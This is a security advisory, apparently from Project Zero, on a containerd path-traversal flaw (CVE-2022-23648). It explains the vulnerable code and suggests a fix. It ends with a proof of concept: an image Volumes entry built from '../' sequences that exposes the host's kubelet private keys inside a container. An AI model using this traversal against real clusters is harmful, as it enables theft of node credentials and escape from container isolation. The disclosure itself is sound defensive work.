containerd Image Volume Insecure Handling

`containerd: Insecure handling of image volumes  
  
containerd's cri plugin handles image volumes containing path traversals insecurely. This can be used to copy arbitrary host directories to a container-mounted path.  
  
OCI images contain a JSON config file described in https://github.com/opencontainers/image-spec/blob/main/config.md. As part of this config,  
an image can specify \u"Volumes\u" which describe \u2018where the process is likely to write data specific to a container instance' when the image is used to run a container.  
  
When this configuration is converted into an OCI runtime config, containerd tries to follow the spec at https://github.com/opencontainers/image-spec/blob/main/conversion.md:  
  
\u"Implementations SHOULD provide mounts for these locations such that application data is not written to the container's root filesystem. If a converter implements conversion for this field using mountpoints, it SHOULD set the destination of the mountpoint to the value specified in Config.Volumes. An implementation MAY seed the contents of the mount with data in the image at the same location\u"   
  
The seeding is implemented in (*criService).CreateContainer (cri/server/container_create.go)  
  
var volumeMounts []*runtime.Mount  
if !c.config.IgnoreImageDefinedVolumes {  
// Create container image volumes mounts.  
volumeMounts = c.volumeMounts(containerRootDir, config.GetMounts(),   
&image.ImageSpec.Config)  
} else if len(image.ImageSpec.Config.Volumes) != 0 {  
....  
}  
  
  
func (c *criService) volumeMounts(..) ..   
var mounts []*runtime.Mount  
\u2026  
for dst := range config.Volumes {  
\u2026  
volumeID := util.GenerateID()  
src := filepath.Join(containerRootDir, \"volumes\", volumeID)  
mounts = append(mounts, &runtime.Mount{  
ContainerPath: dst,  
HostPath: src,  
SelinuxRelabel: true,  
})  
}  
return mounts  
}  
  
  
Image volume mounts are only supported if IgnoreImageDefinedVolumes is false. While the description mentions that this flag is \u"Useful for better resource isolation, security\u2026\u" the default is false and none of the major containerd users seems to overwrite this.   
  
So in the default config, c.VolumeMounts will be called to create new runtime.Mount entries for all Volumes listed in the image config. There is no validation of the listed paths and the .ContainerPath attribute is completely image/attacker controlled.  
  
Later in the execution, the harmless HostPaths and the attacker controlled ContainerPaths are passed to the customopts.WithVolumes method. While the HostPath is cleaned, ContainerPath is passed through without changes:  
if len(volumeMounts) > 0 {  
mountMap := make(map[string]string)  
for _, v := range volumeMounts {  
mountMap[filepath.Clean(v.HostPath)] = v.ContainerPath  
}  
opts = append(opts, customopts.WithVolumes(mountMap))  
}  
  
  
The WithVolumes function (pkg/cri/opts/container.go) now tries to copy all files that are under ContainerPath in the container rootfs to the temporary directory at HostPath that will be later mounted into the Container at the same location (This is the optional \u"seeding\u" step described in the spec):  
for host, volume := range volumeMounts {  
// The volume may have been defined with a C: prefix, which we can't use here.  
volume = strings.TrimPrefix(volume, \"C:\")  
for _, mountPath := range mountPaths {  
src := filepath.Join(mountPath, volume)  
if _, err := os.Stat(src); err != nil {  
if os.IsNotExist(err) {  
// Skip copying directory if it does not exist.  
continue  
}  
  
\u2026  
}  
  
if err := copyExistingContents(src, host); err != nil {  
\u2026 }  
  
volume is the fully attacker controlled ContainerPath, mountPath a host directory pointing to a part of the containers rootfs. By setting volume to a path like \u"/../../../../../../../../../etc\u", src will become \u"/etc\u" and the copyExistingContents function in the last line will recursively copy the /etc/directory to host. As the directory specified by host will later be mounted into the container, this gives the container full read access to arbitrary files and directories.  
Suggested Fix:  
mountMap[filepath.Clean(v.HostPath)] = filepath.Clean(v.ContainerPath)  
should be sufficient to fix the issue. (But it might be reasonable to surface/log misbehaving images?)  
  
Proof-of-Concept:  
fwilhelm ~ % buildah inspect volumes-test | jq '.OCIv1.config.Volumes'  
{  
\"/../../../../../../../../var/lib/kubelet/pki/\": {}  
}  
fwilhelm ~ % kubectl run shell --rm -i --tty --image europe-west3-docker.pkg.dev/[redacted]/test/volumes-test -- /bin/sh   
/ # mount | grep /var/lib/kubelet  
/dev/root on /var/lib/kubelet/pki type ext4 (rw,relatime)  
/ # ls -la /var/lib/kubelet/pki/  
total 20  
drwxrwxrwt 2 root root 4096 Nov 12 15:54 .  
drwxr-xr-x 3 root root 4096 Nov 12 15:54 ..  
-rw-r--r-- 1 root root 1135 Nov 4 08:59 kubelet-client.crt  
-rw------- 1 root root 227 Nov 4 08:59 kubelet-client.key  
-rw------- 1 root root 0 Nov 4 08:59 kubelet-client.lock  
-rw------- 1 root root 1496 Nov 4 08:59 kubelet-server-2021-11-04-08-59-06.pem  
lrwxrwxrwx 1 root root 59 Nov 4 08:59 kubelet-server-current.pem -> /var/lib/kubelet/pki/kubelet-server-2021-11-04-08-59-06.pem  
  
Let me know if you need access to the POC image, I did not want to spam the full list with it.   
  
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-02-21. For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html  
  
Related CVE Numbers: CVE-2022-23648.  
  
  
  
Found by: [email protected]  
  
`